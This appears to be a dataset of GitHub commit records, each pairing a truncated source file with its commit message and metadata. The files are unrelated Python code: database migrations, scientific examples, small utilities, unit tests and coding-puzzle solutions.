migrations/versions/187eade64ef0_create_testmessage_table.py
migrations/versions/187eade64ef0_create_testmessage_table.py
"""Create testmessage table Revision ID: 187eade64ef0 Revises: 016f138b2da8 Create Date: 2016-06-21 16:11:47.905481 """ # revision identifiers, used by Alembic. revision = '187eade64ef0' down_revision = '016f138b2da8' from alembic import op import sqlalchemy as sa def upgrade(): op.create_table( 'test...
apache-2.0
Python
cc84a5c71f84596af61b2de4a16cd62ff0209b16
Add migration file
l-vincent-l/APITaxi,l-vincent-l/APITaxi,odtvince/APITaxi,openmaraude/APITaxi,openmaraude/APITaxi,odtvince/APITaxi,odtvince/APITaxi,odtvince/APITaxi
migrations/versions/fd02d1c7d64_add_hail_migration_fields.py
migrations/versions/fd02d1c7d64_add_hail_migration_fields.py
"""Add hail migration fields Revision ID: fd02d1c7d64 Revises: 59e5faf237f8 Create Date: 2015-04-15 12:04:43.286358 """ # revision identifiers, used by Alembic. revision = 'fd02d1c7d64' down_revision = '59e5faf237f8' from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql def upgr...
agpl-3.0
Python
dde52eb2bb035644e1147bbe21fcf9b1200a2e6b
Add example of section tree from SWC data block.
mgeplf/NeuroM,juanchopanza/NeuroM,wizmer/NeuroM,BlueBrain/NeuroM,liesbethvanherpe/NeuroM,lidakanari/NeuroM,eleftherioszisis/NeuroM
examples/section_tree_swc.py
examples/section_tree_swc.py
'''Example showing how to extract section information from SWC block''' import numpy as np from neurom import ezy from neurom.io import swc from neurom.core.tree import Tree from neurom.core import section_neuron as sn from neurom.core.dataformat import COLS from neurom.core.dataformat import POINT_TYPE class Section...
bsd-3-clause
Python
c560be326c10c1e90b17ba5c6562f55c44dea9f3
Create main.py
googleinterns/smart-content-summary,googleinterns/smart-content-summary,googleinterns/smart-content-summary
GCP_deploy/main.py
GCP_deploy/main.py
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
apache-2.0
Python
fc84c19cdbbe86b1a57efb3468cdfc26785ca4a6
add utility helper to format table for console output
dariusbakunas/rawdisk
rawdisk/util/output.py
rawdisk/util/output.py
import numpy as np def format_table(headers, columns, values, ruler='-'): printable_rows = [] table = np.empty((len(values), len(columns)), dtype=object) for row, value in enumerate(values): table[row] = [str(getattr(value, column)) for column in columns] column_widths = [ max(len(he...
bsd-3-clause
Python
100a03003adf3f425d59b69e95078bd0f1e82193
Add test script for segfault bug reported by Jeremy Hill.
visionegg/visionegg,visionegg/visionegg,visionegg/visionegg,visionegg/visionegg,visionegg/visionegg
test/reopen_screen.py
test/reopen_screen.py
#!/usr/bin/env python # Test for bug reported by Jeremy Hill in which re-opening the screen # would cause a segfault. import VisionEgg VisionEgg.start_default_logging(); VisionEgg.watch_exceptions() from VisionEgg.Core import Screen, Viewport, swap_buffers import pygame from pygame.locals import QUIT,KEYDOWN,MOUSEBU...
lgpl-2.1
Python
35849cf3650c5815c0124f90fad3d3fa2ef9abc6
Create InsertationSort2.py
MajidLashgarian/HackerRank,MajidLashgarian/HackerRank
InsertationSort2.py
InsertationSort2.py
def compareAndRep(numbers , a , b): temp = numbers[a] numbers[a] = numbers[b] numbers[b] = temp return numbers def printList(numbers): strp = "" for i in range(0 , len(numbers)): strp += str(numbers[i]) if(i+1 < len(numbers)): strp += " " print strp N = int(raw_input()) numbers = map(int , raw_input()...
mit
Python
45136a5757ed362818216acdb390bb0c43bf35f7
Create photos2geojson.py
trolleway/photo_tools
photos2map/photos2geojson.py
photos2map/photos2geojson.py
# -*- coding: UTF-8 -*- import os, sys import exiftool import json from fractions import Fraction def progress(count, total, status=''): bar_len = 60 filled_len = int(round(bar_len * count / float(total))) percents = round(100.0 * count / float(total), 1) bar = '=' * filled_len + '-' * (bar_len -...
unlicense
Python
97e46b93124758bec85d2e81a6843c22a265bce3
Add entry point for GC repo importer
heiths/allura,apache/incubator-allura,heiths/allura,lym/allura-git,apache/allura,apache/allura,apache/incubator-allura,apache/allura,lym/allura-git,lym/allura-git,heiths/allura,heiths/allura,apache/incubator-allura,heiths/allura,lym/allura-git,apache/allura,apache/incubator-allura,apache/allura,lym/allura-git
ForgeImporters/setup.py
ForgeImporters/setup.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (t...
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (t...
apache-2.0
Python
76f473cd5d5a8ed1c6c5deb173587ce01e5b8f29
add a proxmox inventory plugin
thaim/ansible,thaim/ansible
plugins/inventory/proxmox.py
plugins/inventory/proxmox.py
#!/usr/bin/env python # Copyright (C) 2014 Mathieu GAUTHIER-LAFAYE <gauthierl@lapth.cnrs.fr> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your op...
mit
Python
1e7421878e90949abc4f6fac5835bd27b472d2b6
Add example script for the newly added mixed_diffusivity
TomTranter/OpenPNM,PMEAL/OpenPNM
example_Knudsen.py
example_Knudsen.py
import openpnm as op import numpy as np import matplotlib.pyplot as plt # Get Deff w/o including Knudsen effect spacing = 1.0 net = op.network.Cubic(shape=[10, 10, 10], spacing=spacing) geom = op.geometry.StickAndBall(network=net) air = op.phases.Air(network=net) phys = op.physics.Standard(network=net, geometry=geom,...
mit
Python
a6bbcc46765fee52eba9c31b95d456977fbeeefe
add beautify for print beautify words
seamile/WeedLab,seamile/Weeds,seamile/Weeds,seamile/WeedLab
Scripts/beautify.py
Scripts/beautify.py
#!/usr/bin/env python import sys def beautify(line, bold=False): k = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' v = '𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏' bv = '𝓐𝓑𝓒𝓓𝓔𝓕𝓖𝓗𝓘𝓙𝓚𝓛𝓜𝓝𝓞𝓟𝓠𝓡𝓢𝓣𝓤𝓥𝓦𝓧𝓨𝓩𝓪𝓫𝓬𝓭𝓮𝓯𝓰𝓱𝓲𝓳𝓴�...
mit
Python
ef9b099b1a0f6abe4bde3d74f79d0daa31c38dbd
Add interactive flash size (energy) spectrum plot that can sync to points in 4-panel view
nguy/brawl4d,deeplycloudy/brawl4d
LMA/analysis.py
LMA/analysis.py
""" Get a plot of the flash energy spectrum for flashes in the current brawl4d view. lma_ctrl is an instance of brawl4d.LMA.controller.LMAController that >>> from brawl4d.brawl4d import B4D_startup >>> from datetime import datetime >>> panels = B4D_startup(basedate=datetime(2012,5,29), ctr_lat=35.2791257, ctr_lon=-97...
bsd-2-clause
Python
e1772c008d607a2545ddaa05508b1a74473be0ec
Add TaskInstance index on job_id
asnir/airflow,janczak10/incubator-airflow,KL-WLCR/incubator-airflow,airbnb/airflow,Acehaidrey/incubator-airflow,jhsenjaliya/incubator-airflow,airbnb/airflow,adamhaney/airflow,mrares/incubator-airflow,Fokko/incubator-airflow,skudriashev/incubator-airflow,mistercrunch/airflow,mtagle/airflow,OpringaoDoTurno/airflow,dhuang...
airflow/migrations/versions/7171349d4c73_add_ti_job_id_index.py
airflow/migrations/versions/7171349d4c73_add_ti_job_id_index.py
# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software ...
apache-2.0
Python
74dee1d09fdc09f93af3d15286336d7face4ba08
add test file for proper_parens.
constanthatz/data-structures
test_proper_parens.py
test_proper_parens.py
from __future__ import unicode_literals from proper_parens import check_statement def test_check_statement(): # Edge cases of strings of length one value = ")" assert check_statement(value) == -1 value = "(" assert check_statement(value) == 1 # Edge cases of strings of length two value ...
mit
Python
77637c0eca6ba5cd00e8f1fbe863a1fd293c980f
Create __init__.py
aceofwings/Evt-Gateway,aceofwings/Evt-Gateway
tests/CAN/__init__.py
tests/CAN/__init__.py
mit
Python
b936fe0b01a29f8638f662a4a779226fe93cd6fa
Create 5kyu_faulty_odometer.py
Orange9000/Codewars,Orange9000/Codewars
Solutions/5kyu/5kyu_faulty_odometer.py
Solutions/5kyu/5kyu_faulty_odometer.py
BASE = '012356789' def faulty_odometer(num): result = 0 for i, n in enumerate(str(num)[::-1]): result += BASE.index(n) * len(BASE) ** i return result
mit
Python
ab753bc09d27cc00780d48769d8c12a9015fae18
Create 0062_siteoption_copyright_notice.py
ScanOC/trunk-player,ScanOC/trunk-player,ScanOC/trunk-player,ScanOC/trunk-player
radio/migrations/0062_siteoption_copyright_notice.py
radio/migrations/0062_siteoption_copyright_notice.py
# -*- coding: utf-8 -*- # Save default html text for index and about page from __future__ import unicode_literals from django.db import migrations, models def set_default_html(apps, schema_editor): SiteOption = apps.get_model('radio', 'SiteOption') SiteOption(name='COPYRIGHT_NOTICE', value = ...
mit
Python
fa7b12066fd81ed97bb0ecbd13690f850021915f
Create crossover.py
architecture-building-systems/CEAforArcGIS,architecture-building-systems/CEAforArcGIS
cea/optimization/master/crossover.py
cea/optimization/master/crossover.py
""" Crossover routines """ from __future__ import division from deap import tools from cea.optimization.master.validation import validation_main def crossover_main(individual, indpb, column_names, heating_unit_names_share, cooling_unit_names_share, ...
mit
Python
c2509a25eaf3522a55d061f940931447bbf023f1
test pyCharm
Herne/pythonplayground
lp3thw/ex41.py
lp3thw/ex41.py
import random from urllib.request import urlopen import sys WORD_URL = "http://learncodethehardway.org/words.txt" WORDS = [] PHRASES = { "class %%%(%%%):": "Make a class named %%% that is-a %%%.", "class %%%(object):\n\tdef __init__(self, ***)": "class %%% has-a __init__ that takes self and **...
mit
Python
24cfe61a9e1d8ed5a78b2338e652085fc5b3f4e1
Add example delete
dudymas/python-openstacksdk,mtougeron/python-openstacksdk,mtougeron/python-openstacksdk,dudymas/python-openstacksdk,briancurtin/python-openstacksdk,dtroyer/python-openstacksdk,stackforge/python-openstacksdk,openstack/python-openstacksdk,openstack/python-openstacksdk,dtroyer/python-openstacksdk,briancurtin/python-openst...
examples/delete.py
examples/delete.py
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
apache-2.0
Python
0cb6b839509d3f5ecf0e2196c53decbf6fdac65e
add renameDate.py
0verchenko/Utils
renameDates.py
renameDates.py
#! Python3 # renameDate.py - rename file name that include date in US format (MM-DD-YYYY) # to EU format (DD-MM-YYYY) import shutil, os, re #Regex for US dates datePattern = re.compile(r"""^(.*?) # All text before date ((0|1)?\d)- # one or two month digits ((0|1|2|3)?\d)- ...
apache-2.0
Python
b920103c5aef9fa38d91e2fe0eafaeb8fd18d27b
Create FileEncryptor.py
griffincalme/ExperimentalScripts
FileEncryptor.py
FileEncryptor.py
import os from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto import Random def encrypt(key, filename): chunksize = 64 * 1024 outputFile = "(encrypted)" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV = Random.new().read(16) encryptor = AES.new(key, AES.MODE_...
mit
Python
06e0f140c517e467445a59be989ba3b9ddd76503
add tests for stdlib xpath
github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql,github/codeql
python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py
python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py
match = "dc:title" ns = {'dc': 'http://purl.org/dc/elements/1.1/'} import xml.etree.ElementTree as ET tree = ET.parse('country_data.xml') root = tree.getroot() root.find(match, namespaces=ns) # $ MISSING: getXPath=match root.findall(match, namespaces=ns) # $ MISSING: getXPath=match root.findtext(match, default=None...
mit
Python
70f7096d353ee3edccf6e52e21c6a74db158d906
Configure settings for py.test
teury/django-multimedia,jbittel/django-multimedia
conftest.py
conftest.py
import os from django.conf import settings def pytest_configure(): if not settings.configured: os.environ['DJANGO_SETTINGS_MODULE'] = 'multimedia.tests.settings'
bsd-3-clause
Python
4863696bbfb46a836b4febc3397e51dd20214414
add repoquery-recursive.py for downloading rpm packages and their dependencies exceluding which comes from install media
Zor-X-L/offline-utils,Zor-X-L/offline-utils
repoquery-recursive.py
repoquery-recursive.py
#!/usr/bin/python3 import sys import subprocess repoquery = ['repoquery', '--plugins', '--resolve', '--qf', '%{name}.%{arch} %{repoid} %{location}', '--plugins', '-R'] package_info = dict() def check_dep(packages): #print(packages) if len(packages) == 0: return cmd = repoquery + packages output = subprocess....
mit
Python
0e2504171dc5679b5cdd1cb219ad1cd1e9f29262
add a test case for performance benchmarking.
axt/angr,tyb0807/angr,f-prettyland/angr,tyb0807/angr,axt/angr,schieb/angr,axt/angr,angr/angr,iamahuman/angr,f-prettyland/angr,tyb0807/angr,chubbymaggie/angr,angr/angr,iamahuman/angr,schieb/angr,chubbymaggie/angr,angr/angr,chubbymaggie/angr,iamahuman/angr,schieb/angr,f-prettyland/angr
tests/perf_unicorn.py
tests/perf_unicorn.py
import sys import os import time import angr import simuvex.s_options as so import nose.tools test_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../')) def perf_unicorn_0(): p = angr.Project(os.path.join(test_location, 'binaries', 'tests', 'x86_64', 'perf_unicorn_0')) s_unico...
bsd-2-clause
Python
a2059d9c93553843094345ca857508e8cd7325c4
Create mnist-keras.py
dhruvparamhans/mnist_keras
mnist-keras.py
mnist-keras.py
# Author: Hussein Al-barazanchi # reading and saving the data are based on the code # from the following link # http://www.kaggle.com/users/9028/danb/digit-recognizer/convolutional-nn-in-python # import numpy and pandas for array manipulationa and csv files import numpy as np import pandas as pd # import keras nece...
mit
Python
e3b7b9e5f8ca1be061c71c764fd62d6aeed3fd43
Add test suite for bqlmath.
probcomp/bayeslite,probcomp/bayeslite
tests/test_bqlmath.py
tests/test_bqlmath.py
# -*- coding: utf-8 -*- # Copyright (c) 2010-2016, MIT Probabilistic Computing Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENS...
apache-2.0
Python
2014f326eb73f7b30fe9cad8f30df80e7b8b3f26
add first test
aweimeow/PyCat
tests/test_ipcheck.py
tests/test_ipcheck.py
class TestBoundaryValue: def test_WeakNomral(self): pass
mit
Python
d95a7d6017dd6a08d9c8df5af9c61ee2cb23d217
add test code for wrapper.py
yasfmy/chainer_attention_model
tests/test_wrapper.py
tests/test_wrapper.py
import sys sys.path.append('..') import unittest from wrapper import xp from chainer import cuda from chainer import Variable class WrapperTestCase(unittest.TestCase): def test_xp(self): try: cuda.check_cuda_available() module = 'cupy' except: module = 'numpy' ...
mit
Python
c9a1f5416e62a0d5311a9e692c08ad0fe49b9b18
Add visualize_vgg16.py
aidiary/keras_examples,aidiary/keras_examples
dream/visualize_vgg16.py
dream/visualize_vgg16.py
from keras.applications.vgg16 import VGG16 from keras.layers import Input from keras import backend as K import numpy as np import matplotlib.pyplot as plt img_width, img_height, num_channels = 224, 224, 3 input_tensor = Input(shape=(img_height, img_width, num_channels)) model = VGG16(include_top=True, weights='image...
mit
Python
6733cc00015458c307272a3124857bf686b06fbb
Create h.py
samazgor/samazgor.github.com,samazgor/samazgor.github.com,samazgor/samazgor.github.com,samazgor/samazgor.github.com
h.py
h.py
print "Hello, World!"
apache-2.0
Python
553009b8f0cb0396f266d10dc5b6010ad60e7a25
Solve task #21
Zmiecer/leetcode,Zmiecer/leetcode
21.py
21.py
# Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def mergeTwoLists(self, l1, l2): """ :type l1: ListNode :type l2: ListNode :rtype: ListNode """ def s...
mit
Python